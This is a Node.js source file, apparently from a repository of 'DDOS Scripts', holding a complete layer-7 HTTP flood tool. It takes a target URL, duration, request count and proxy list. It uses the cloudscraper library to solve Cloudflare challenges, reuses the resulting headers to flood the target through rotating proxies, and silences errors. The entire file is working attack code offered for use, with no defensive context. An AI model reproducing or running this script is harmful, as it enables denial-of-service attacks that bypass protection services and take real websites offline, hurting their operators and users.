Path: blob/master/DDOS Scripts/L7/CFUnmitigate-1.js
4607 views
require('events').EventEmitter.defaultMaxListeners = 0;1const fs = require('fs'),2CloudScraper = require('cloudscraper'),3path = require('path');45if (process.argv.length !== 6) {6console.log(`7Usage: node ${path.basename(__filename)} <url> <time> <req_per_ip> <proxies>8Usage: node ${path.basename(__filename)} <http://example.com> <60> <100> <http.txt>`);9process.exit(0);10}1112const target = process.argv[2],13time = process.argv[3],14req_per_ip = process.argv[4];1516let proxies = fs.readFileSync(process.argv[5], 'utf-8').replace(/\r/gi, '').split('\n').filter(Boolean);1718function send_req() {19let proxy = proxies[Math.floor(Math.random() * proxies.length)];2021let getHeaders = new Promise(function (resolve, reject) {22CloudScraper({23uri: target,24resolveWithFullResponse: true,25proxy: 'http://' + proxy,26challengesToSolve: 1027}, function (error, response) {28if (error) {29let obj_v = proxies.indexOf(proxy);30proxies.splice(obj_v, 1);31return console.log(error.message);32}33resolve(response.request.headers);34});35});3637getHeaders.then(function (result) {38// Object.keys(result).forEach(function (i, e) {39// console.log(i + ': ' + result[i]);40// });41for (let i = 0; i < req_per_ip; ++i) {42CloudScraper({43uri: target,44headers: result,45proxy: 'http://' + proxy,46followAllRedirects: false47}, function (error, response) {48if (error) {49console.log(error.message);50}51});52}53});54}5556setInterval(() => {57send_req();58});5960setTimeout(() => {61console.log('Attack ended.');62process.exit(0)63}, time * 1000);6465// to avoid errors66process.on('uncaughtException', function (err) {67// console.log(err);68});69process.on('unhandledRejection', function (err) {70// console.log(err);71});727374